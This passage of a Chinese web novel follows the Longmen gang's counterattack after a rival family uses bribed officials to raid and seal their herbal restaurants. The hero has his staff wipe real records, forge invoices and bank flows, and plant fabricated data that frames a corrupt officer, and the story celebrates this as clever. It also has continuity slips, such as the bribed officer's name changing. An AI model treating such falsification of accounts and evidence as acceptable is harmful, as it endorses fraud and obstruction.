没有声音,却仿佛达成了某个重要的约定。
与张力之间达成的那份微妙默契,并未能给龙门带来太多的喘息之机。
林家就像一头被彻底激怒的受伤猛兽,在商业竞争和武力清除连续受挫后,终于动用了其盘根错节、最为恐怖的武器——官方层面的影响力!
就在龙门上下因为成功整合黑蛇会遗留地盘、势力大增而士气高昂,李雅紧锣密鼓地筹备着第三家分店时,一场突如其来的、精心策划的风暴,毫无征兆地降临了!
这天上午,阳光明媚,龙门药膳总店和分店如同往常一样,刚刚开门营业不久,店内已经坐了不少提前预约的顾客,后厨飘出阵阵诱人的药香。
突然,刺耳的警笛声由远及近!
第61章:林家的报复升级!官方查抄!
不是一辆,而是数量警车、工商执法车、税务稽查车甚至还有两辆食品药品监督局的专用车辆,组成了一支庞大的车队,气势汹汹地直接停在了龙门药膳总店和分店门口!
车门打开,数十名穿着不同制服的执法人员面色严肃地迅速下车,不由分说,立刻开始封锁现场,拉起警戒线!
“所有人待在原地!配合检查!”
“我们是市局经侦支队、工商局、税务局、药监局联合执法小组!现依法对龙门药膳涉嫌非法经营、****、使用非法添加剂及卫生安全问题进行全面检查!”
“请负责人配合我们工作!”
为首的是一名戴着金丝眼镜、表情刻板的中年警官,他拿出盖着红头公章的搜查令,声音冰冷地向闻讯赶出来的李雅和张猛宣布。
店内瞬间一片哗然!
顾客们惊慌失措,纷纷起身,在执法人员的疏导下被迫离开,议论纷纷。
员工们也都吓得脸色发白,不知所措。
李雅看着眼前这阵势,心瞬间沉到了谷底。
她强自镇定,上前交涉:“警官,我们龙门药膳所有手续齐全,合法经营,依法纳税,从未使用任何非法添加剂!你们是不是搞错了?”
“搞没搞错,检查过了才知道!”
那中年警官根本不听解释,大手一挥,“搜!所有账本、电脑、进货单据、后厨、仓库,全部仔细检查!任何角落都不要放过!”
如狼似虎的执法人员立刻涌入店内,开始翻箱倒柜!
收银台被强行打开,电脑被直接搬走,财务室的账本被成箱地抬出来,后厨的食材、调料甚至垃圾桶都被翻查,仓库里的药材被随意倾倒出来检查……
整个过程粗暴而迅速,带着一种不容置疑的霸道!
分店那边也遭遇了同样的情况!
张猛气得双眼通红,拳头捏得咯咯作响,几次想要冲上去理论,都被王大头用眼神严厉制止。
王大头站在总店二楼的办公室窗口,面无表情地看着楼下的一片混乱。
他通过【初级因果洞察】,能清晰地感受到这股恶意背后,那属于林家的、冰冷而庞大的阴影。
这是阳谋!
利用官方程序,进行合法的打击!
即使最后查不出什么问题,这种突如其来的大规模查抄,对龙门药膳辛苦建立起来的声誉和顾客信任,也是毁灭性的打击!
而且,过程中只要稍微“操作”一下,比如“意外”发现一些“不明粉末”,或者账目上出现一点“难以解释”的瑕疵,就足以让龙门陷入万劫不复的境地!
“找到了!”
楼下,一个税务稽查人员拿着一份单据,高声喊道,“这里有一笔五十万的资金往来,对方是空壳公司,无法说明合理业务目的,涉嫌虚假交易,偷**款!”
紧接着,一个药监局的人员从后厨拿出一个没有任何标签的陶瓷罐:“发现不明来源、无标识的疑似添加剂!需要带回去化验!”
这些“发现”,如同早已准备好的剧本,一幕幕上演。
李雅看着被翻得一片狼藉的店铺,看着那些被作为“证据”封存带走的账本和物品,脸色苍白,身体微微摇晃,几乎要站立不住。这些都是她的心血!
经过数小时的折腾,联合执法小组“满载而归”。
临走前,那名中年警官冷冷地宣布:“龙门药膳总店及分店,因涉嫌多项违规违法,现予以暂时查封!在调查结果出来之前,不得营业!”
“嗤啦——!”
刺耳的声响中,盖着鲜红大印的白色封条,被毫不留情地交叉贴在了龙门药膳总店和分店的大门上!
如同两道**的伤疤!
看着那刺眼的封条,看着被翻得如同遭了劫难般的店铺,所有龙门成员,包括一向沉稳的赵师傅,脸上都充满了难以抑制的愤怒和**!
张猛更是狠狠一拳砸在墙壁上,留下一个深深的凹痕,低吼道:“林家!我Cao你祖宗!”
林家这一手,比任何刀剑都要狠毒,直接打在了龙门的七寸之上!
刺眼的黄色封条,如同两道狰狞的伤疤,交叉贴在龙门药膳总店那扇原本光洁明亮的玻璃门上。
上面加盖的鲜红印章,像凝固的血滴,散发出不容置疑的官方权威和冰冷寒意。
这封条不仅物理上封锁了店铺的入口,更像两道沉重的精神枷锁,狠狠压在每个龙门成员的心头。
店内,白日里的喧嚣与药香早已被死寂和残留的检查翻动后的狼藉所取代。
货架被推得东倒西歪,一些药材和包装散落在地,留下杂乱的脚印。
空气中弥漫着一种**、愤怒与不安混合的压抑气息。
张猛如同一头被囚禁在铁笼中的暴怒雄狮,古铜色的脸庞因极致的愤怒而涨得通红,额角青筋如同蚯蚓般蜿蜒暴起。
他紧握的双拳指节发出咯咯的脆响,粗壮的臂膀肌肉虬结,在店内有限的空间里焦躁
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地来回踱步,每一次沉重的脚步落下,都仿佛让地板微微震颤。
他那双布满血丝的眼睛,死死盯着门上的封条。
胸腔剧烈起伏,几次三番想要冲上前去将那代表耻辱的纸条撕个粉碎,都被一直沉默坐在角落太师椅上的赵师傅,用那双骤然睁开、锐利如鹰隼般的严厉眼神制止。
“冲动!能解决什么问题?!”
赵师傅的声音不高,却带着一种历经沧桑沉淀下来的、不容置疑的威严,如同重锤敲在每个人的心上,“林家这次动用的是官面上的力量,走的是他们精心准备好的‘合法’程序!你现在冲上去,暴力抗法,就是主动把刀柄递到对方手里,正中他们下怀!是想让龙门立刻万劫不复吗?!”
“那怎么办?!难道就眼睁睁看着这群披着官皮的混蛋往我们身上泼脏水?!看着我们一点一滴打拼起来的心血,被他们用这种下三滥的手段糟蹋、污蔑?!”
张猛猛地停下脚步,扭头低吼道,声音因为极力压抑怒火而变得嘶哑,如同受伤的野兽在咆哮,“老子咽不下这口气!”
李雅站在柜台旁,原本整洁的职业套装此刻显得有些凌乱,脸色苍白如纸,纤细的手指紧紧攥着一份被翻得皱巴巴的账本复印件,指节因为过度用力而失去血色。
但她那双清澈的眼眸中,除了最初的惊慌和委屈,此刻更多的是一种被激发出的坚韧和冷静。
她强迫自己高速运转大脑,分析着局面:
“账目!我们的账目一直由我亲自把关,每一笔进出都清晰可查,依法纳税,绝对规范,经得起任何形式的审计!”
她的声音带着一丝不易察觉的颤抖,却异常坚定,“至于那个所谓的‘不明添加剂’……”
她下意识地看向一直沉默站在窗边的王大头,那所谓的“添加剂”其实是稀释【淬体灵液】所用的一种特殊、完全无害的植物萃取基底液,只是因为来源特殊且数量稀少,从未对外贴标说明,“它的来源和安全性我们可以做出合理解释,提供检测报告!我相信,只要事实清楚,证据确凿,法律最终会是公正的!”
她的语气带着一种近乎执拗的信念,既是在安慰众人,也是在为自己打气。
王大头背对着众人,站在那扇可以俯瞰街道的窗前。
夕阳的余晖将他挺拔的身影拉得很长,投在满地狼藉的地面上。
他的表情是众人中最平静的一个,平静得甚至有些可怕。
第62章:危机时刻,张力传讯
脸上看不出丝毫被查封产业的愤怒或焦虑,只有一片深不见底的沉静。
但若有人此刻能看清他微微眯起的眼眸深处,便能发现那其中并非古井无波,而是如同最深海的暗流,汹涌着足以冰封一切的杀意和冷冽。
林家这一手,确实精准、狠辣!
直接跳过地下世界的规则,动用国家机器的力量,试图以泰山压顶之势,从法理和声誉的根子上将他王大头和龙门彻底碾碎!
这已经远远超出了商业竞争和江湖仇杀的范畴,触碰到了一个更加危险、也更加复杂的层面。
一旦被坐实罪名,不仅仅是产业倒闭,更是身败名裂,甚至锒铛入狱!
就在店内气氛压抑得几乎要让人窒息,众人的情绪在愤怒、不甘和一丝绝望中挣扎时——
“嗡……”
王大头口袋里那部只有极少数核心成员知晓号码的私人加密手机,突然极其轻微地震动了一下,打破了死寂。
不是来电,是一条经过特殊加密的短信。
王大头眼神微动,不动声色地拿出手机,身体依旧保持着望向窗外的姿势,拇指快速划过屏幕,解锁,目光如电般扫向那条简短的信息。
发信人是一个完全陌生的号码,但信息的内容,却让王大头那双古井无波的眸子,骤然收缩,如同针尖!
信息极其简短,没有任何称呼、寒暄和落款,只有几个冰冷的关键人名和词组,却像一把钥匙,瞬间打开了困局的锁:
【检查组核心:经侦王斌(戴眼镜,左眉有痣),目标:五十万空壳公司流水,制造**证据。药监刘明(高瘦,嘴角下垂),目标:后厨无标陶瓷罐,替换为**。关键物证已标记,小心。】
是张力!那个卧底警察!
在这最危机、最黑暗的时刻,这位身份特殊、本应是来调查龙门的年轻警察,竟然选择了以一种极其隐秘和危险的方式,站在了龙门这一边,送来了这份足以扭转乾坤的、至关重要的情报!
他不仅精准地点出了联合调查组中被林家买通、负责具体执行栽赃陷害任务的两个关键人物及其鲜明的体貌特征,更清晰地指明了对方的搜查重点和具体的陷害手法!
甚至,最后那句“关键物证已标记,小心”,无疑是在暗示……他已经冒着暴露的风险,对那个最致命的、将被用来“坐实”龙门使用**的陶瓷罐,做了手脚!
这条突如其来的信息,如同在伸手不见五指的黑暗深渊中,骤然亮起的一座灯塔,炽热的光芒瞬间穿透重重迷雾,清晰地照亮了林家布下的所有毒辣陷阱和阴险脉络!
原来如此!
所有的疑点瞬间贯通!
所谓的五十万与空壳公司的虚假流水,是由经侦队的这个王斌负责“制造”和咬死!
而后厨那个装有特殊基底液、未贴标签的陶瓷罐,则会被药监局的刘明,在搜查过程中“偷梁换柱”,替换成真正的、法律明令禁止添加的违禁化学物质!
人证(被收买的官员指证)物证(被替换的“**”)俱在,铁案如山!好精密!
好毒辣的计策!
不仅要让你破产,更要让你身败名裂,永世不得翻身!
一股冰冷的寒意,如同毒蛇般顺着王大头的脊椎急速爬升,让他周身血液都仿佛凝固了一瞬。
但随之而来的,不是恐惧,而是更加汹涌澎湃、几乎要冲破胸膛的滔**意,以及一种被彻底激发、如同磐石般坚定的斗志!
林家!
你们为了除掉我王大头,真是无所不用其极!
连这种栽赃陷害、玷污国家执法公正、践踏法律尊严的勾当都干得出来!
你们当真以为,可以一手遮天吗?!
他缓缓收起手机,仿佛只是不经意地调整了一下站姿,然后转过身,平静的目光扫过店内每一个脸上写着焦虑、愤怒与无助的成员。
“小雅,猛子,赵师傅,还有大家,”
王大头的声音不高,却带着一种斩钉截铁、仿佛能劈开一切阴霾的决断力,清晰地传入每个人耳中,“不用担心,更不用自乱阵脚。他们玩的这些花样,我已经看清楚了。”
他走到李雅面前,看着她那双还残留着泪痕却努力睁大、不肯示弱的眼睛。
语气变得异常柔和,却带着令人信服的力量:“相信我,我们的店,不会被这种卑劣的手段打倒。它很快就会撕掉这**的封条,重新开业!而且,我保证,它会以更加清白、更加响亮、让所有人都无法质疑的名声,重新站立在这座城市!”
然后,他目光转向如同即将出鞘利剑般的张猛,以及旁边眼神中燃烧着怒火与忠诚的阿杰、小斌等人,眼神瞬间变得锐利如鹰,语气带着不容置疑的命令口吻:
“阿杰,小斌,你们俩现在立刻去办一件事,要快,要绝对隐秘,不能引起任何人的注意……”
他压低声音,快速而清晰地吩咐了几句。
阿杰和小斌先是眼中闪过极度的震惊和不可思议,随即这震惊迅速化为一种混合着兴奋与决绝的坚定。
两人重重一点头,没有任何多余的废话,如同两道融入阴影的利箭,迅速转身,悄无声息地消失在店铺后门通往夜色的小巷中。
安排完这关键一步,王大头重新走回窗边,双手负后,挺拔的身姿如同一棵扎根于悬崖峭壁的青松,遥望着窗外那片被城市霓虹渲染得光怪陆离、却
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又隐藏着无尽阴谋与杀机的漆黑夜空,以及远处那栋代表着权力与秩序的市政大楼隐约轮廓。
他的嘴角,几不可查地勾起一抹冰冷到了极致、却也危险到了极致的弧度。
那双深邃的眼眸中,闪烁着洞悉一切阴谋的锐利光芒和即将展开凌厉反击的炽热意志,仿佛有无形的电光在其中碰撞、交织:
“想玩脏的?想利用官面上的力量来给我栽赃定罪?”
“好啊,那就让我们好好玩玩看……”
“看看在这棋盘上,到底是谁的手段更高明,谁玩得更转!”
夜色如墨,将白日的喧嚣与动荡彻底吞噬。
龙门药膳总店二楼,那间因为位置隐蔽而侥幸未被贴上封条的私人办公室内,此刻却是灯火通明,与窗外万籁俱寂的城市形成鲜明对比。
空气里弥漫着紧张与时间赛跑的气息,却又异乎寻常地有序,与白天店铺被查封时的混乱压抑截然不同。
王大头、李雅、张猛,以及被李雅紧急召来的、最早跟随她、精通财务审计和电脑技术的两名绝对可靠的核心员工(都曾经历过严格的忠诚度考验),正围坐在一张临时拼凑起来的大办公桌前。
桌上,一台高性能笔记本电脑屏幕闪烁着幽幽蓝光,旁边堆满了从秘密备份点取出的、厚厚的原始纸质账本、凭证单据和相关合同档案。
根据张力冒死传来的情报,对方的核心攻击点明确无误地指向了两处:“账目”和“物证”。
物证方面,那个致命的陶瓷罐,张力既然暗示已经做了“标记”,以他的身份和处境,所能做的必然是极其隐秘且有效的干扰,这暂时可以让他们稍稍安心,将主要精力集中在另一个战场——账目上。
这是对方试图坐实“****”经济罪名,从法理上摧毁龙门的关键!
那个被林家收买、名叫王斌的经侦警察,必然会像嗅到血腥味的鲨鱼一样,死死咬住那笔五十万与“鑫达商贸”的虚假往来记录,大做文章。
“就是这笔款项,”
李雅指着电脑屏幕上一条被高亮显示的转账记录,眉头紧锁,语气带着懊恼和一丝后怕,“时间是三个月前,支付给‘鑫达商贸’的药材预付款。当时这家公司提供的所有资质文件、样品检验报告看起来都天衣无缝,而且我们确实也收到并验收了一批品质相当不错的辅料,流程完全合规。但交易完成后没多久,这家公司就仿佛人间蒸发,再也联系不上了。我们当时还以为是市场淘汰率高的普通皮包公司倒闭,没有深究……没想到,这竟然是林家早就处心积虑布下的一个暗桩!”
“妈的!这根本就是林家自导自演的一出戏!”
第63章:移花接木,完美账本
张猛一拳砸在桌子上,发出沉闷的响声,震得桌面的笔筒都跳了一下,他咬牙切齿,眼中怒火熊熊,“那个狗屁‘鑫达商贸’,九成九就是林家自己在背后控制的空壳!专门用来给我们下套的!”
“现在追究这些已经于事无补。”
王大头脑海中【初级因果洞察】的能力被催动到极致,结合张力提供的关键信息、李雅对账目的熟悉以及他对林家行事风格的了解,一条清晰、大胆且极具反击力度的思路迅速成型,如同利剑般划破迷雾。
“对方既然想用这笔有问题的账目作为攻击我们的支点,那我们就给他准备一份……他无论如何也撬不动,甚至反过来会砸碎他自己脚面的‘完美账本’!”
“‘完美账本’?”李雅和旁边的财务人员都露出疑惑不解的神情。
“没错!不是一份,是两套!”
王大头眼神锐利如刀,语气斩钉截铁,“立刻动手,分工合作,准备两套截然不同的账本和与之对应的全套支撑资料!”
他不再犹豫,快速而清晰地下达了一系列指令,如同一位运筹帷幄的将军在布置战场:
“第一套,是用来应对官方检查的‘明账’。”
王大头看向李雅和她带来的财务专家,“你们的任务,是确保万无一失!动用所有技术和专业手段,将原始账目中所有与‘鑫达商贸’相关的往来记录,从电子账套和所有备份中彻底、干净地删除,抹除一切可能存在的数据痕迹!然后,根据那批真实收到的辅料的数量和金额,反向推演,重新制作一份天衣无缝的、从其他我们长期合作、信誉良好的合规供应商处采购的虚假合同、合规发票、入库验收单、以及对应的银行付款流水!记住,金额、时间、货物品名规格必须与原始交易完全对应,逻辑链条要完美闭环,经得起任何形式的交叉验证和背景调查!电子记录和重新打印的纸质备份必须同步修改,确保完全一致!”
这相当于在短时间内,凭空重构一段毫无破绽的商业交易历史,其难度和要求极高。
“那第二套呢?”
张猛忍不住追问,他感觉王大头的计划绝不止于此。
“第二套,”
王大头的声音陡然变得更加冰冷,嘴角泛起一丝令人心悸的冷笑,“是专门留给林家,以及他们花钱喂饱的那条‘狗’王斌的‘惊喜大礼’——一份精心制作的‘暗账’陷阱!”
他目光转向李雅,提醒道:“小雅,你还记得吗?之前我们为了应对林家,暗中搜集他们外围成员林威涉嫌**等不法行为的证据时,是不是截获到一些模糊的、涉及官方人员与林家之间存在不正当资金往来的线索?虽然当时因为信息不全,无法作为直接证据,但那些碎片化的信息……”
李雅闻言,眼睛猛地一亮,如同黑暗中点燃了两簇火焰:“对!有这回事!虽然信息不完整,像是被刻意切割过的,但有几个特定的、非本人常用的银行账户,在几个关键时间点,确实有异常资金流入,其源头经过多层伪装,但最终指向都与林家的关联账户有关!尤其是我印象中,有一条模糊的记录,似乎……隐隐约约指向了经侦系统内部的一个王姓官员!难道……”
“就是他了!”
王大头冷哼一声,“现在,就是把这些碎片‘艺术化’重组,让它发挥价值的时候!”
他详细布置道:“把这部分残缺的信息,进行技术性的‘修复’和‘合理化补充’。将那个王斌(戴眼镜,左眉有痣)的准确个人信息、他可能控制的隐秘银行账户(利用我们掌握的模糊信息进行合乎逻辑的推测和‘丰满’)、以及几笔金额、时间点都与林家近期打压我们关键步骤高度吻合的、来自林家隐秘账户的‘特殊资金往来’记录,巧妙地、看似不经意地‘嵌入’到我们与‘鑫达商贸’那笔被删除的原始交易记录的数据残留区附近!做成一个看起来像是操作人员匆忙删除原始记录时,未能彻底清除干净、可以被专业数据恢复软件轻易‘意外’找回的‘残留文件’或‘缓存碎片’!”
“不仅如此,”
王大头眼中寒光更盛,“再把我们之前掌握的、关于林家利用地下拳场进行非法资金流转的部分边缘证据、一些语焉不详但指向明确的通讯记录片段,也一并‘打包’塞进这个‘数据垃圾堆’里!把水彻底搅浑!要让任何一个恢复数据的人看到后,第一反应不是我们龙门的问题,而是林家与内部蛀虫勾结,试图栽赃陷害,并且自身极不干净的震撼真相!”
这就是王大头谋划的绝地反击!移花接木,祸水东引!
你林家不是想利用被收买的王斌,在账目上给我制造一个“**”的铁证吗?
那我就给你准备一份更劲爆、更致命的“账目证据”!
一份不仅能够彻底洗刷龙门的嫌疑,反而能像照妖镜一样,将你林家和你精心安插的官方蛀虫的丑陋勾当曝光于世的“定时**”!
这份精心炮制的“暗账”陷阱,他们不会主动提交给调查组。
它会像一个潜伏在阴影中的顶级猎人,布下精巧的陷阱,安静地等待着那个心怀鬼胎、急于找到“证据”立功的王斌,在利用职权“深入调查”、动用数据恢复工具时,自己主动一脚踩进来!
“意外”地发现这份能将他和他背后主子一同拖入深渊的“惊天黑料”!
整个办公室瞬间如同上了发条的精密仪器,高速且无声地运转起来。
李雅和两名财务人员聚精会神地开始修改
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“明账”,她们的专业素养在此刻发挥到极致,力求每一个数字、每一张单据都完美无瑕,无懈可击。
而张猛则带着两名懂些电脑底层操作和数据分析的兄弟,在王大头的亲自指导和监督下,如同进行一场精密的外科手术,小心翼翼地“编制”着那份足以决定胜负的“暗账”陷阱,每一个虚假数据包的植入,每一段误导性信息的编排,都力求自然、合理,经得起推敲。
时间在键盘敲击声和纸张翻动声中悄然流逝,窗外的黑暗逐渐褪色,东方天际泛起一丝微弱的鱼肚白。
当黎明第一缕清澈的晨光终于穿透夜幕,透过百叶窗的缝隙,在办公室地板上投下道道斑驳的光影时,两套承载着不同使命的“账本”和相关资料,终于全部准备完毕。
那套“明账”,规范、清晰、逻辑严密得如同财经学院的教科书范本,从任何角度审视,都挑不出丝毫毛病,仿佛龙门药膳从来就是一家守法经营、账目透明的模范企业。
而那套深藏在数据废墟深处的“暗账”陷阱,则如同一条伪装巧妙的毒蛇,潜伏在比特与字节的丛林深处,收敛着致命的毒牙,静静等待着猎物上门,准备给予雷霆一击。
第二天下午,联合调查组临时借用的某间办公室内。
经侦支队的王斌穿着一身笔挺的警服,戴着白色手套,眉头紧锁地坐在电脑前。
屏幕上显示着从龙门药膳服务器上拷贝回来的财务数据镜像。
他已经不眠不休地“核查”了将近二十个小时,脸色因为疲惫和焦虑而显得有些蜡黄,眼神深处藏着一丝不易察觉的急躁。
不对劲!
太不对劲了!
他按照林家事前的交代和林耀宗管家秘密传达的指令,将核查重点完全放在那笔五十万与“鑫达商贸”的往来上,准备以此为突破口,制造龙门****的“铁证”。
但是,无论他如何反复筛查电子账目的明细、总账还是辅助核算项目,如何翻检搬回来的那几大箱纸质原始凭证和合同,都找不到那笔关键交易的任何蛛丝马迹!
就好像那五十万人民币和与之对应的药材采购,从未在龙门的经营史上存在过一般!
而龙门药膳的其他所有账目记录,却规范、清晰、完整得令人发指!
收入确认、成本结转、费用报销、税费计提与缴纳……每一环都严丝合缝,逻辑严谨,证据链完整,其专业和规范程度,甚至超过了市内许多知名上市公司!
这完全不符合一个背景复杂、快速崛起的新兴企业常有的账目特征!
一种莫名的不安开始在他心底蔓延。
林家给他的任务若是完不成,那些已经揣进他口袋、烫手的“好处费”恐怕……他不敢深想。
第64章:反将一军,证据出手
“一定有隐藏记录!一定是被删除了!”
王斌不甘心,抱着最后一丝侥幸,也是出于职业习惯(或者说做贼心虚),他动用了自己权限内的专业数据恢复软件,对拷贝回来的财务数据镜像进行深度扫描和删除文件恢复操作。
软件进度条缓慢而坚定地移动着。
终于,“叮”的一声轻响,扫描完成,结果显示确实有一些被删除的数据碎片可以被恢复。
王斌心中先是一喜,随即又提起,迫不及待地移动鼠标,点开了那几个被恢复出来的、标记为“残留数据”的文件包。
然而,当他看清那些被恢复出来的文件内容时,他脸上的那一丝喜色瞬间凝固,随即如同被急速冰冻般化为极致的惊恐和难以置信的惨白!
映入他眼帘的,根本不是预想中龙门与空壳公司“鑫达商贸”的虚假交易记录!
而是一些经过巧妙编排的、模糊却指向性极强的资金流向示意图,其中一个被红色圆圈标注出的收款方账户,赫然是他利用远房亲戚身份在境外开设、连他老婆都不知道的秘密账户!
而几个清晰的汇款方标识,经过简化却不难辨认,正是与林家控股的几个离岸空壳公司密切相关!
汇款的时间节点,精确地标注在他“默许”并开始着手处理龙门账目问题之后!
更让他魂飞魄散的是,旁边还有几段看似随意记录、却被恢复出来的文本碎片,里面赫然出现了“林威”、“地下拳场资金”、“特殊关系打点费”、“王副队长”等让他心惊肉跳的字眼!
虽然语句不完整,但组合起来的意思,再结合那些资金流向图,几乎就是一份指控他收受林家巨额贿赂、滥用职权、参与林家灰色产业**的间接证据链!
这……这他妈到底是怎么回事?!
这些东西怎么会出现在龙门的财务数据里?!
还偏偏是在被删除后,又被自己亲手恢复出来?!
王斌如同被一道九天惊雷劈中天灵盖,整个人都僵住了!
一股刺骨的寒意从脚底板直冲天灵盖,瞬间让他浑身冰凉,血液都仿佛凝固了!
他拿着鼠标的手开始不受控制地剧烈颤抖,如同得了帕金森,额头上、后背上瞬间沁出了密密麻麻的冰冷汗珠!
这不是他奉命要制造的“证据”!
这分明是能将他彻底打入万劫不复之地,甚至可能将林家都拖下水的超级**!
龙门……龙门这帮人难道早就知道了他们的计划?
不仅完美地隐匿了自身的问题,反而反过来给他们设下了一个如此阴险、如此致命的圈套?!
就在他大脑一片空白,魂不附体之际,调查组的负责人,那位戴着金丝眼镜、气质沉稳的中年警官推门走了进来,看着王斌那失魂落魄、面无人色、冷汗淋漓的异常状态,不由得皱紧了眉头,沉声问道:
“王斌,怎么回事?核查工作进行得怎么样了?找到确凿的违规证据了吗?”
王斌猛地从极致的恐惧中惊醒。
看着面色严肃的负责人,又瞥了一眼电脑屏幕上那些如同恶魔狞笑般的“证据”,嘴唇剧烈地哆嗦着,喉咙里发出“嗬嗬”的、如同破风箱般的声音,却连一个完整的音节都吐不出来。
脸上的血色褪得干干净净,难看得如同刚从坟墓里爬出来。
检查组的人来得快,去得也快。
看着那几辆公务车灰溜溜地驶离龙门总部大门,张猛朝着车尾灯狠狠啐了一口:“呸!什么玩意儿!仗着有点权就了不起啊?”
他身后的几名龙门核心成员也群情激愤,刚才被压抑的怒火此刻全爆发出来。
“就是!查了半天,屁都没查出来!”
“肯定是林家搞的鬼!太阴险了!”
“大头哥,咱们就这么算了?”张猛扭头,看向一直沉默的王大头。
王大头站在台阶上,夕阳的余晖将他身影拉得修长。他脸上看不出太多愤怒,只有一种冰冷的平静,仿佛深潭之水,表面无波,内里却暗流汹涌。他穿着简单的白色练功服,此刻却仿佛披着一层无形的铠甲,眼神锐利如刀,扫过众人,原本喧哗的场面瞬间安静下来。
“算了?”王大头轻轻重复了一句,嘴角勾起一抹冷峭的弧度,“猛子,你什么时候见我们龙门吃过亏不还手?”
他抬手,轻轻掸了掸练功服上并不存在的灰尘,这个动作带着一种与他年龄不符的沉稳与决断。“林家想用官面上的手段压死我们,那我们就让他们也尝尝,被这手段反噬的滋味。”
李雅走上前,眼中带着一丝担忧,低声道:“大头,他们毕竟势大,我们硬碰硬会不会……”
王大头看向她,目光柔和了些许,但语气依旧坚定:“小雅,有时候,退一步不是**,而是万丈深渊。对付恶狼,你得让它知道疼,它才不敢再龇牙。”他顿了顿,声音压得更低,“而且,我们未必需要亲自出手。”
他转身走向内部,对张猛和李雅招了招手:“猛子,小雅,你们跟我来。赵师傅,外面劳您安抚一下。”
赵师傅拄着拐杖,微微颔首,浑浊的老眼中闪过一丝赞许。他看得出,自己这个徒弟,经过一次次风雨,已然有了真正雄主的气度,不仅武力强横,心思也愈发缜密深沉。
办公室内,王大头从保险柜里取出一个不起眼的牛皮纸袋。这袋子看似普通,但张猛和李雅都知道,这里面装着的是之前应对检查时,王大头让他们准备的“另一套
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”东西。
“大头,这是……”李雅疑惑。
“这是林家那位‘贵人’收受林家贿赂,以及指使这次突击检查的一些间接证据和线索。”王大头语气平淡,仿佛在说一件微不足道的小事,“虽然不够直接钉死,但足够在他的对头那里,掀起一场风暴了。”
张猛眼睛一亮:“我明白了!借刀**!咱们把这玩意儿捅给他的政敌?”
“没错。”王大头点头,“林家以为靠着盘根错节的关系网就能为所欲为,却忘了,这网织得越大,结点就越脆弱。想拉他们下马的人,可不止我们一个。”
他拿起桌上的一个老式信封,将牛皮纸袋里的东西小心地装入其中。他的动作很慢,很仔细,仿佛在进行某种仪式。阳光从窗户斜照进来,照在他专注的侧脸上,那棱角分明的线条透着不容置疑的坚决。
“猛子,找几个生面孔,机灵点的,确保万无一失,把这份‘礼物’送到该送的地方去。”王大头将封好的信封递给张猛,眼神凝重,“记住,要像水滴入海,不留痕迹。”
“放心吧大头!这点小事包在我身上!”张猛拍着胸脯,接过信封,小心翼翼地塞进怀里,转身大步流星地走了出去,那虎背熊腰的身影带着一股子煞气。
李雅看着王大头,轻声道:“你总是想得这么周全。”她注意到王大头眉宇间一丝不易察觉的疲惫,心中微疼。这个男人,扛着太多东西了。
王大头走到窗边,看着楼下逐渐散去的人群,以及远处城市璀璨初上的华灯,缓缓道:“树欲静而风不止。林家不会善罢甘休的,这次只是开始。我们必须更快,更强。”他放在窗台上的手,五指微微收拢,木质窗框发出轻微的“嘎吱”声,“小雅,药膳的供应链,尤其是老家那边,还要再加固,不能给林家任何可乘之机。”
“我明白,已经和村长通过电话了,他们会加派人手看守种植园和运输路线。”李雅走到他身边,与他并肩而立,“只是……我有点担心,林家这次吃了瘪,下次的手段会不会更极端?”
“兵来将挡,水来土掩。”王大头目光深邃,“而且,我有预感,这场风波,不会等太久了。”
他话音刚落,口袋里的手机轻微震动了一下。是一条匿名信息,只有简短的几个字:“林煞已动怒,小心。”
发信人号码是未知,但王大头凭借着【初级因果洞察】,能模糊感知到一丝熟悉的、略带紧张的气息——是张力。
这位卧底警官,在不知不觉中,与龙门的羁绊似乎越来越深了。这条信息,像一颗投入平静湖面的石子,预示着更大的波澜即将涌起。
王大头收起手机,眼神锐利如鹰隼。林家,我们等着。
第65章:林家自食其果
几天后,一则不大不小的新闻登上了本地媒体的角落版块:某实权部门副主任刘某,因涉嫌严重违纪违法,正在接受组织调查。
这消息像一块小石头投入湖中,在普通民众间并未引起太多波澜,但在特定的圈子里,却无异于一场地震。
尤其是对林家而言。
林家别墅,书房内。
气氛压抑得几乎让人窒息。
林家家主林耀祖脸色铁青,手中捏着的紫砂茶杯“咔嚓”一声,被他硬生生捏碎,滚烫的茶水混着茶叶溅了他一手,他却浑然不觉。
“废物!都是废物!”他低吼一声,声音如同受伤的野兽,“刘副主任怎么会突然被查?是谁走漏了风声?还是他做事不干净,被人抓住了把柄?”
下方站着几位林家核心成员,个个噤若寒蝉。
管家林福小心翼翼地上前,低声道:“家主,听说……是有人匿名向上面寄送了一些……关于刘副主任和我们林家往来的一些‘材料’。”
“材料?”林耀祖猛地抬头,眼中寒光暴射,“什么材料?我们和他之间的往来,不是一直都很隐秘吗?”
林福额头渗出冷汗:“具体不清楚,但据说……线索指向性很强,而且时机非常巧妙,正好是在他刚对我们示好,动用了关系去查那个龙门之后……”
“龙门?王大头?!”林耀祖瞳孔骤缩,“是他?他有这个本事?有这个胆子?”
他不敢相信,一个几个月前还在送外卖的泥腿子,竟然敢用这种方式反击他们林家!这已经不是简单的江湖争斗了,这是要把他们往死里整!
“查!给我彻查!到底是不是那个王大头搞的鬼!”林耀祖咆哮道,“如果真是他,我要他死无葬身之地!”
“家主,息怒。”一个阴恻恻的声音从角落传来。
众人望去,只见阴影中坐着一个干瘦的老者,正是之前败于王大头之手,肩胛骨被剑气洞穿的林煞长老。他伤势未愈,脸色苍白,但眼神却愈发怨毒。“此子狡诈如狐,而且背后恐怕另有高人指点。我们之前,都小瞧他了。”
“林煞长老,你的伤……”林耀祖强压怒火问道。
“无妨,还死不了。”林煞咳嗽了几声,眼中闪烁着毒蛇般的光芒,“此仇不报,誓不为人。不过,家主,眼下刘副主任倒下,我们在官面上的力量受损,短期内不宜再大动干戈,以免引来更多关注。当务之急,是稳住阵脚,消除影响。”
林耀祖深吸几口气,强迫自己冷静下来。他知道林煞说得对,林家树大招风,不知多少双眼睛盯着,这次事件已经让他们陷入了被动。
“福伯,立刻切断所有与刘副主任有关的明面联系,该擦干净的,立刻给我擦干净!所有可能被牵连的产业,马上进行切割!”林耀祖迅速下达指令,展现出一个世家家主的决断,“另外,对龙门的所有动作,暂时停止。”
“停止?”一位年轻气盛的林家子弟不服道,“难道我们就这么算了?我们林家的脸往哪儿搁?”
“闭嘴!”林耀祖厉声呵斥,“小不忍则乱大谋!脸面?等风头过去,我有的是办法把丢掉的脸面,连本带利地拿回来!到时候,我要让那个王大头,跪在我面前求饶!”
他眼中闪烁着狠厉与算计的光芒。王大头,你成功激怒了一头沉睡的雄狮,接下来,就准备承受雷霆之怒吧!
……
与此同时,龙门总部,王大头的专属静室。
